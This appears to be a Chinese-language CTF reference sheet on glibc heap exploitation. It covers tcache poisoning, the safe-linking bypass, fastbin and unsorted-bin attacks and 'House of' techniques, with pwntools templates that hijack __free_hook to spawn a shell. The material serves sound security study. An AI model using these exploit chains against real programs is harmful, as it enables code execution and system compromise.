284 lines
9.0 KiB
Markdown
284 lines
9.0 KiB
Markdown
# 堆类利用 (Heap Pwn)
|
||
|
||
## glibc 版本差异（必看）
|
||
|
||
堆利用的所有技术都跟 glibc 版本强绑定。先确认版本：
|
||
|
||
```bash
|
||
./libc.so.6 | head -1
|
||
# GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
|
||
|
||
# 或 strings
|
||
strings ./libc.so.6 | grep "GNU C Library"
|
||
```
|
||
|
||
| glibc 版本 | 关键变化 | 影响 |
|
||
|-----------|---------|------|
|
||
| 2.26 及之前 | 无 tcache | unsorted/fastbin 是主战场 |
|
||
| 2.27 | **引入 tcache** | tcache poisoning 极其简单 |
|
||
| 2.29 | unsorted bin unlink 加固（chunk size 检查） | unsorted bin attack 被砍 |
|
||
| 2.31 | tcache 多重检查（key 字段） | tcache poisoning 略复杂 |
|
||
| 2.32 | **safe-linking**（fd 指针异或 PROTECT_PTR） | 需要先 leak heap base |
|
||
| 2.34 | **移除 __free_hook / __malloc_hook** | 改走 FILE struct / exit handlers |
|
||
| 2.35+ | 进一步加固 | 同 2.34，FILE 路径仍可用 |
|
||
|
||
## tcache poisoning (2.27 - 2.31)
|
||
|
||
### 原理
|
||
|
||
tcache 是 per-thread cache，每个 size class 一条链表，单链表（只有 fd）。
|
||
double free 检查在 2.29 之前只看链表头是不是自己，不看遍历。
|
||
|
||
### 利用模板（2.27 - 2.31）
|
||
|
||
```python
|
||
from pwn import *
|
||
|
||
p = process('./vuln')
|
||
libc = ELF('./libc.so.6')
|
||
|
||
def add(idx, size, data=b'a'):
|
||
p.sendlineafter(b'> ', b'1')
|
||
p.sendlineafter(b'idx: ', str(idx).encode())
|
||
p.sendlineafter(b'size: ', str(size).encode())
|
||
p.sendafter(b'data: ', data)
|
||
|
||
def free(idx):
|
||
p.sendlineafter(b'> ', b'2')
|
||
p.sendlineafter(b'idx: ', str(idx).encode())
|
||
|
||
def show(idx):
|
||
p.sendlineafter(b'> ', b'3')
|
||
p.sendlineafter(b'idx: ', str(idx).encode())
|
||
return p.recvline().strip()
|
||
|
||
# === Step 1: leak libc base ===
|
||
# 申请大于 tcache 范围的 chunk（>0x408），free 进 unsorted bin，残留 main_arena 指针
|
||
for i in range(8):
|
||
add(i, 0x80)
|
||
add(8, 0x80) # 防止合并
|
||
for i in range(7):
|
||
free(i)
|
||
free(7) # 第 8 个进 unsorted bin，fd/bk 指向 main_arena+96
|
||
add(9, 0x80) # 切回来一部分，保留 fd
|
||
leak = u64(show(9).ljust(8, b'\x00'))
|
||
libc.address = leak - 0x3ebca0 # main_arena+96 偏移，glibc 2.27 amd64
|
||
log.success(f'libc = {hex(libc.address)}')
|
||
|
||
# === Step 2: tcache poisoning → 写 __free_hook ===
|
||
add(10, 0x30)
|
||
add(11, 0x30)
|
||
free(10)
|
||
free(11)
|
||
# 用 UAF 改 chunk11 的 fd 指向 __free_hook
|
||
edit(11, p64(libc.sym['__free_hook']))
|
||
add(12, 0x30) # 取出 chunk11
|
||
add(13, 0x30, p64(libc.sym['system'])) # 取出来的就是 __free_hook 地址，写 system
|
||
|
||
# 触发：free 一个内容为 "/bin/sh\x00" 的 chunk
|
||
add(14, 0x30, b'/bin/sh\x00')
|
||
free(14)
|
||
|
||
p.interactive()
|
||
```
|
||
|
||
## safe-linking 绕过 (2.32+)
|
||
|
||
```text
|
||
原理：tcache/fastbin 的 fd 写入时被 PROTECT_PTR 异或：
|
||
PROTECT_PTR(pos, ptr) = (pos >> 12) ^ ptr
|
||
|
||
绕过：
|
||
1. 必须先 leak 一个堆地址（heap base）
|
||
2. 计算 obfuscated 值：fake_fd_obf = (chunk_addr >> 12) ^ target
|
||
3. 写进去
|
||
```
|
||
|
||
```python
|
||
def protect_ptr(pos, ptr):
|
||
return (pos >> 12) ^ ptr
|
||
|
||
# leak heap base（unsorted bin 残留 / tcache fd 残留）
|
||
heap_base = leaked_heap & ~0xfff
|
||
|
||
# poisoning
|
||
fake_fd = protect_ptr(heap_base + chunk_off, target_addr)
|
||
edit(chunk_id, p64(fake_fd))
|
||
```
|
||
|
||
## fastbin attack (传统，2.26 及之前为主)
|
||
|
||
```text
|
||
关键点：
|
||
1. fastbin 单链表（只有 fd），无 size 检查除了 chunk size 必须匹配
|
||
2. 2.27 后 tcache 优先，fastbin 只有 tcache 满了才用
|
||
3. 仍然需要伪造一个看起来像 chunk 的内存（size 字段 = 真实 chunk size，± 一些）
|
||
```
|
||
|
||
```python
|
||
# double free
|
||
add(0, 0x60)
|
||
add(1, 0x60)
|
||
free(0)
|
||
free(1)
|
||
free(0) # fastbin: 0 → 1 → 0
|
||
|
||
# 把 fd 改成 fake chunk（要求 fake_addr + 8 处的 size 字节匹配 0x70）
|
||
add(2, 0x60, p64(fake_addr))
|
||
add(3, 0x60)
|
||
add(4, 0x60) # 取出 fake_addr 处的 chunk
|
||
```
|
||
|
||
## unsorted bin attack（仅 2.28 及之前）
|
||
|
||
```text
|
||
原理：写任意地址为 main_arena+88
|
||
2.29 起加了 bck->fd == victim 的检查，绕不过
|
||
用途：覆盖 global_max_fast 让小 chunk 也走 fastbin → 配合 fastbin attack
|
||
```
|
||
|
||
```python
|
||
# 申请 unsorted size chunk
|
||
add(0, 0x100)
|
||
add(1, 0x100) # 防止 top consolidation
|
||
free(0)
|
||
# UAF 改 bk 指针为 target - 0x10
|
||
edit(0, p64(0) + p64(target - 0x10))
|
||
add(2, 0x100) # 从 unsorted 取出 → unlink → main_arena+88 写到 target
|
||
```
|
||
|
||
## large bin attack
|
||
|
||
```text
|
||
原理：large bin 比 unsorted 多一层 fd_nextsize / bk_nextsize
|
||
2.32 起也加了 chunk size 检查，但仍可用于改 global_max_fast、_IO_list_all 等
|
||
高级技巧，常用于 House of Husk 等组合拳
|
||
```
|
||
|
||
## House of XXX 速查
|
||
|
||
| 名称 | 适用版本 | 核心思想 |
|
||
|------|---------|---------|
|
||
| House of Force | 2.28 及之前 | 改 top chunk size 为巨大值 → malloc 任意地址 |
|
||
| House of Lore | 全版本 | 伪造 small bin 链 → 返回任意地址 |
|
||
| House of Orange | 2.23-2.30 | unsorted attack 改 _IO_list_all 触发 _IO_flush_all_lockp |
|
||
| House of Roman | 2.23-2.26 | 12-bit 爆破 + fastbin attack to __malloc_hook |
|
||
| House of Einherjar | 全版本 | 伪造 prev_size + PREV_INUSE=0 → backward consolidation |
|
||
| House of Botcake | 2.27+ | tcache + unsorted bin 组合，绕过 tcache double free 检查 |
|
||
| House of Husk | 2.27+ | 改 printf 的 hook table（__printf_function_table） |
|
||
| House of Cat | 2.34+ | _IO_wfile_seekoff vtable 利用，针对无 hook 版本 |
|
||
| House of Apple | 2.34+ | _IO_wfile_jumps + setcontext gadget |
|
||
|
||
## 真实利用步骤（通用 4 步）
|
||
|
||
```text
|
||
Step 1: leak heap base
|
||
- 申请 chunk → free 到 tcache（2.32+ 保留 obfuscated fd） → show → 反推 heap
|
||
- 或：申请大 chunk → free 到 unsorted → 切回 → show fd
|
||
|
||
Step 2: leak libc base
|
||
- 大 chunk free 到 unsorted bin，fd/bk 残留 main_arena 地址
|
||
- show → leak → libc.address = leak - main_arena_offset
|
||
|
||
Step 3: 控 IP
|
||
- 2.27-2.33: tcache/fastbin poisoning → 写 __free_hook 或 __malloc_hook
|
||
- 2.34+: FILE struct 攻击（_IO_2_1_stdout_ / stderr），改 vtable → _IO_wfile_jumps
|
||
- 或：劫持 exit handlers（__exit_funcs / tls_dtor_list）
|
||
|
||
Step 4: getshell
|
||
- free_hook = system, free("/bin/sh") → shell
|
||
- 2.34+: setcontext + 53 gadget → rop chain in heap → execve
|
||
```
|
||
|
||
## libc 2.34+ 没有 hook 之后的替代路径
|
||
|
||
### FILE struct 攻击（_IO_2_1_stdout_ / _IO_2_1_stderr_）
|
||
|
||
```text
|
||
目标：当程序调用 puts/printf 时，最终走到 _IO_file_xsputn → _IO_OVERFLOW → 调用 vtable
|
||
劫持：
|
||
1. 覆盖 _IO_2_1_stderr_ 的 vtable 指针指向伪造的 vtable
|
||
2. 伪造 vtable，让 __overflow 字段指向 system 或 setcontext
|
||
3. 让 fp（FILE*）本身的前 8 字节是 "/bin/sh\x00"（作为 system 的 rdi）
|
||
触发：任何 puts/printf/abort/exit 都会冲刷 stderr
|
||
```
|
||
|
||
### Exit handlers (`__exit_funcs` / `tls_dtor_list`)
|
||
|
||
```text
|
||
原理：__run_exit_handlers 遍历 __exit_funcs 链表，调用每个 dtor
|
||
劫持：改链表节点的 func 指针指向 system，arg 指向 "/bin/sh"
|
||
注意：2.34+ 加了 PTR_DEMANGLE，需要 leak tls 里的 fs:[0x30] guard 值才能伪造
|
||
```
|
||
|
||
### tls_dtor_list（更现代）
|
||
|
||
```text
|
||
__call_tls_dtors 遍历，结构类似，同样要绕过 PTR_DEMANGLE
|
||
适用：程序退出时会走，比 FILE 攻击更通用
|
||
```
|
||
|
||
## pwndbg / GEF 堆调试命令
|
||
|
||
```text
|
||
# pwndbg
|
||
heap # 显示当前 arena 所有 chunk
|
||
bins # 显示 tcache / fastbin / unsorted / small / large bins
|
||
tcache # 单独看 tcache
|
||
find_fake_fast <addr> <size> # 找一个能用作 fake chunk 的 fd 写入点
|
||
vis_heap_chunks # 可视化堆布局
|
||
|
||
# GEF
|
||
heap chunks
|
||
heap bins fast
|
||
heap bins tcache
|
||
heap chunk <addr>
|
||
```
|
||
|
||
## 典型 pwntools 模板（heap menu 题）
|
||
|
||
```python
|
||
from pwn import *
|
||
|
||
context.binary = elf = ELF('./vuln')
|
||
libc = ELF('./libc.so.6')
|
||
|
||
p = process('./vuln') if not args.REMOTE else remote('host', 1337)
|
||
|
||
# IO 包装
|
||
def menu(choice):
|
||
p.sendlineafter(b'choice:', str(choice).encode())
|
||
|
||
def add(idx, size, data=b'\n'):
|
||
menu(1)
|
||
p.sendlineafter(b'idx:', str(idx).encode())
|
||
p.sendlineafter(b'size:', str(size).encode())
|
||
if data != b'\n':
|
||
p.sendafter(b'data:', data)
|
||
|
||
def free(idx):
|
||
menu(2)
|
||
p.sendlineafter(b'idx:', str(idx).encode())
|
||
|
||
def show(idx):
|
||
menu(3)
|
||
p.sendlineafter(b'idx:', str(idx).encode())
|
||
return p.recvline().strip()
|
||
|
||
def edit(idx, data):
|
||
menu(4)
|
||
p.sendlineafter(b'idx:', str(idx).encode())
|
||
p.sendafter(b'data:', data)
|
||
|
||
# === 后续根据漏洞类型选择技术栈 ===
|
||
```
|
||
|
||
## 注意事项
|
||
|
||
- **glibc 版本是第一性问题** — 同一个二进制配 2.27 libc 和 2.34 libc，利用路径完全不同
|
||
- **tcache 容量 = 7**（每个 size class）— 喷射够 7 个才会溢出到 unsorted/fastbin
|
||
- **chunk size = 用户请求 + 0x10 头部，向 0x10 对齐**（不算 0x10 头时实际可写超出 0x8 因为下一个 chunk 的 prev_size 被复用）
|
||
- **远程堆喷不稳** — 服务端 fork 模型每次连接 brk/mmap 可能不同，要做随机化测试
|
||
- **不要在 attack 链中遗留 unsorted 残留** — main_arena 指针出现在意外的 chunk 里会让后续 show 输出错乱
|
||
- **safe-linking 错误率** — 计算 PROTECT_PTR 时记得是 `pos >> 12`，pos 是要写入的地址不是要指向的地址
|